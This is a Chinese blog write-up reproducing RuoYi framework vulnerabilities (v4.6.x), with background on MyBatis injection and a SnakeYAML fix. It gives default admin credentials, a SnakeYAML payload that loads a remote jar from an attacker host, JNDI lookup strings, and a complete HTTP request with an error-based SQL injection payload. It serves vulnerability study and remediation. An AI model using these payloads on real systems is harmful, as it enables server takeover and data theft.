若依历史漏洞复现

·
Java代码审计 no tag August 29, 2022

1.前言

hvv或者是挖洞中经常看到有若依的站点。今天来复现总结一下相关漏洞。

2.历史漏洞

2.1 若依V4.6.0后台RCE

2.1.1漏洞信息

2.1.2漏洞利用

前台的弱口令,或者初始密码一般为admin/admin123
进入后台的定时任务这里,可以发现调用目标字符串的字段。
image-20220829104125820
这个地方的代码位置是

假设我们输入com.hhddj1.hhddj2.hhddj3()
我们得到的beanName为com.hhddj1.hhddj2
methodName为hhddj3
methodParams为[]

可以看到最后执行是靠Class.forName(beanName).newInstance()来实例化对象。然后再调用方法。想要通过它来实例化对象必须有一个无参构造函数。且是public类型。

因为Runtime类的构造函数是私有的,所以也不能获取到Runtime对象。
ProcessBuilder也因为没有无参构造函数而不能使用。

这里有个符合条件的类 Yaml类

恰好有个无参的构造函数。因此我们可以得到这个类。

所以我们直接使用里面的load函数。来加载远程jar包。

 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://ip/yaml-payload.jar"]
  ]]
]')

其实这里不仅http协议可以用,file协议和ftp协议也可以用。用pyftpdlib启动一个ftp即可。

file协议需要把文件上传到靶机上然后本地加载。

关于这个漏洞的分析https://www.cnblogs.com/nice0e3/p/14514882.html

exp源码https://github.com/artsploit/yaml-payload


弹出计算器

当然,这里还可以用一些别的类打jndi 比如

org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')

2.1.3修复yaml反序列化

如何修复yaml反序列化漏洞?
加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());            //加入new SafeConstructor()类进行过滤
        yaml.load(context);
    }
}

再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。

2.2 sql注入

2.2.1漏洞信息

RuoYi <= v4.6.1
存在SQL注入漏洞。
正好在这个漏洞中,来学习一下Mybatis的相关注入和挖掘方法。

2.2.2Mybatis

2.2.2.1关于Mybatis

Mybatis是个对jdbc进行简单封装的持久层框架。MyBatis 使用简单的 XML或注解用于配置和原始映射(更多的是以xml方式写入到xml文件中),将接口和 Java 的POJOs(Plain Ordinary Java Objects,普通的 Java对象)映射成数据库中的记录。

2.2.2.2Mybatis框架架构

(1)加载配置:配置来源于两个地方,一处是配置文件,一处是Java代码的注解,将SQL的配置信息加载成为一个个MappedStatement对象(包括了传入参数映射配置、执行的SQL语句、结果映射配置),存储在内存中。

(2)SQL解析:当API接口层接收到调用请求时,会接收到传入SQL的ID和传入对象(可以是Map、JavaBean或者基本数据类型),Mybatis会根据SQL的ID找到对应的MappedStatement,然后根据传入参数对象对MappedStatement进行解析,解析后可以得到最终要执行的SQL语句和参数。

(3)SQL执行:将最终得到的SQL和参数拿到数据库进行执行,得到操作数据库的结果。

(4)结果映射:将操作数据库的结果按照映射的配置进行转换,可以转换成HashMap、JavaBean或者基本数据类型,并将最终结果返回。

2.2.2.2Mybatis配置文件以及sql映射

Mybatis的全局配置文件——SqlMapConfig.xml。
在SqlMapConfig.xml中配置了dataSource(数据源)、mappers(映射器)等,内容如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<environments default="development">
<environment id="development">
<transactionManager type="JDBC" />
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.driver" />
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8" />
<property name="username" value="xx" />
<property name="password" value="xx" />
</dataSource>
</environment>
</environments>
<!-- 加载映射文件 -->
<mappers>
    <mapper resource="mybatistet/User.xml" />
</mappers>
</configuration>

其中,加载的映射文件mybatistet/User.xml中定义了sql语句与po类的映射关系。po类通常与数据库中的数据表相照应。比如定义User类

package mybatis;

public class User {
    public int id;
    public String name;
    public int age;
    public String email;
}

举例,根据id查询用户,则在映射文件mybatistet/User.xml中进行以下配置:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="mybatistest">
</mapper>
<select id="findUserById" parameterType="int" resultType="mybatis.User">
select * from user where id = #{id}
</select>

parameterType:定义输入到sql中的映射类型,#{id}表示使用preparedstatement预处理设置占位符号并将输入变量id传到sql。

resultType:定义结果映射类型。

其中,在进行sql语句查询是,MyBatis支持两种参数符号,一种是#,另一种是$。#使用预编译向占位符中设置值,可有效防止sql注入。$使用拼接SQL,也是触发sql注入的关键。

2.2.3漏洞分析

首先查看ruoyi的配置,这里有全局配置和mapper.xml映射文件的位置

于是可以全局搜索带有"$字符的文件

最终定位到

发现这里很明显ancestors参数存在sql注入。那么如何触发这个update数据操作呢?
首先看这个文件上面的<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">定位到DAO层。
然后在这个接口中找到这个方法

我们看一下在哪里调用了这个方法
com.ruoyi.system.service.impl.SysDeptServiceImpl


最后定位到了这里

可以触发该调用。

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1b3960f0-fd75-4bc5-a130-9e822c5c9e5d ;rememberMe=WA5tZDOzZvCsEs7ud8U3j9H31XeBvjknzELqyInOR5eF2Kh6UBuejk9ZVFyZTteHTvEgE3BRW615GKlS8/kl2Y0+XW8D+/t78rBJKd/ueqUSH4d5uY9EDzn/bpXhnSJBs2iafDHEDuYo2IiRBYbAQtx/l6cxHZB9JHiFAfm++m1Xd399/t+Gr8U4N5lAUBC7LoB8EC7HMRrisO3g4JHdfICgg9pYr505LMjxq9I7pVWKi7b1EykIOpotulK60LC9UOb+NW/UJqA6U8fnqHwtQa+DiBfzJKWB5B3i1aUrgYXysrHQxOjOLAQ3kitwFzKlD5uoNIyHlzVTriMwdwHR6VES8wJ+q73kYVVlgiHVID1qcXHx/LQo/qfIGo1sPYM/APSPsdaVs4PBOiO+5Prvv0PJxqTdFQFNWv2EV5DIiQbmtEWBasRspIxaxY49b8yYoGdAFmxZnq50o4furt5fOX9M62eLPvl0p8ZjqoXUWowUo5cE8jp7yFsm/5Mky8HwUG+Tk0tLAhuUO2UqHuYZJtkMoZ9u35tkYXecpikxH2cE0P/4XbQJ+1IE7IFDoY94I+N9pDOLdkXJHkEiO/3ddmb9kvnpo8fpJZ5V9DgGqOc/YaDqUc9lP61CB04mN+WL+zRCOnczLy0gC5305voAa7If3mORHraiSVHXk3z4KJbEUsFtRoslPrDK+DQCVuGb/JvY6hJdt3emi06dGZrKDAMtxMnx5zYZzOpgJx4XgcLjQoRfpZ0a5PJMFFHeTZY6g7Xg6vSjxwsXVwUjsiSGFOWkiXet0E8leXRBbmgQ6fHLTIcDQ5PeGqJHt0CSb+zenhoZt2T1NXOq0oYF9ft8ZwgMNHbS6qUvfQIgWzCS+AfeeJBKAEr5HSjLkZ7J7EWFa+sFIF0Uvl4CnrxqfJCRUMLg+LP6UjInnnhLxHtdSZB0i0M8ASnCEheIII+oCjhG0kgMxUE/nUUlmgCZIodh9lSOgi/rU/gH+arJON9zqJ4ff948vTf5CElkarXkHuJxfiQ7+We4WWb4tO0+1aD5nBsDyF8a6SllrG3vXIhAtReXILeCEjsONMQ3IipFYW8tveUI6DDjjeLrot2T71YUC5vjsHNtQetIlRq8Atg71I+LlifTl22StUAjOEKBpOoMFXa6C7j+MFcGWf9Rgs1oA0V2iM39JajmGZxrp/wf3rWjFZ0KcpvINxmHFTdf7N8mIcZg7dM3sNTlofJ0uKp2D5ouVKmeYuCMaUeXL+rVPQhP0YH9IgoTnxw2ZvxYqY4yeow0ebigoUKdPk5RL0o0WO5+0Tjuuxrcfd/bm8c7bzxqx/F3n/8jH9qEsdP9Pqr+74J0jgL1V4fUe6alSxskRONRWq5cfl0jou1oTWmkDIEX3lokI0Ph37QJditerycxBHpHTQGRsl6NfHdqrmW3jwtkusLZ16J6DWG2pW/FJCtaZ7sqxkAlXmLaEwn4ieb81tpmcHx9jaJbeimB0baNRclto7m22i1uNvZYjK0a4AdceFjTW6s5WD5vMUv+RxxVJOUeUDBhseHIy1Jf+pQNlacqD4L1sbu2A0ik3vl9cTaGrkt5ypD5cpGSa1r0UzMIv32D2EqJAJGbjHc3vaqLkYhgt17Zw4CgrqIS/cpin+iV/90crzIaeLmp+2TlJPX7X4Zel+dUoopw+zubsr1jGpjuBX2HCaDXsnG4Tkv3OQkCif9SeeTgwVi9geN2XR+SzasTJF/P2XK1pMA5DLX/q77yFyTwJjtc2r4B56gN5Koj6/ToxYgNeupQ72dFf0HHjAx5Z5XWR67jF/mU7HuWOMh/FFX8pvDrKy7tTUsa+HrvrqwiXSuNuY6Gur0RxxPUh6CBN7uZ8Gy86eFmfyQ3FdyS9368TOByPpePwTSPYYnOufyBSvnYDmS1kWal2AFXBkPmtU4f9zBP6LqS0YWpGkQpeKiY0Q8cgnrUGjkkbq3Fb3jTgKXw6vfbofIaWl7GeWrrYFBEbsZOeopbdwHx2T3BZ1gH1Q9k/PeXpO6/oDwiUMHJyJbF0oMb12j6RlrtYjTuwH7NbNx4uwm4Zmzm8erosobouPXObY6S7d5GBy+RoWsWIk0V0oY9nMKDaO5hyihHqSubsPf95QPjhiCdQWqxb9hNCI4MtL/ILXDoGf+XKo3MJZA5uJ4pkAnXCbVDo/w53zh4i3ZgFpB5hmLZoPbgsDXHDiIX5NSEKsIJ+C8oWssJ3Wy/ykDxusbScGoRtfT0FTyLM3fhvCriGIKhqW1QXLI8VIwzExLgrApDWo2s41Qd6R5Si5aPGcqJKECVtvQFEDfA3CvKfTF0l2KQJ/rN+dR2mxKTKW3lOaCoFcBKP4cri9aaYA3eUrWEJ+oLTVaS7CMF/HV1bKVsVCzf3aWAQJ5s+IFxKWq2EuoIzoYIBsAaco/urLJefLlWakOqKbGBaObSuofjmDFcDmuYlXSJoBGeeDITcueHnCQQMJAqybcDX5fAFQfkHdiqzn70HccGniWVLm8gFtX6G1jDabCCephZtybnxEuXy79NFfVeS7xZTrlT1DoWbslBzSdmHCw/mHU/4dybEBlXu53nhUmxNl6g2nhakiedXMYT0/fbPdD/Xl27Rx8xP8tG+yzrYwTJETJ6Tj704KcmByKnQPgrJgSt4YtuTy3OD6nmr1wWPbWE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

此时的搜索语句
update sys_dept SET status = ?, update_by = ?, update_time = sysdate() where dept_id in (0)or(extractvalue(1,concat((select user()))));#)

还有别的地方也存在sql注入。这里就不细说了。

  • 云存储的攻击利用方式
  • 第十五届全国大学生信息安全竞赛 Web wp
取消回复

说点什么?
Title
2.1 若依V4.6.0后台RCE
2.1.1漏洞信息
2.1.2漏洞利用
2.1.3修复yaml反序列化
2.2 sql注入
2.2.1漏洞信息
2.2.2Mybatis
2.2.3漏洞分析

© 2023 Yang_99的小窝. Using Typecho & Moricolor.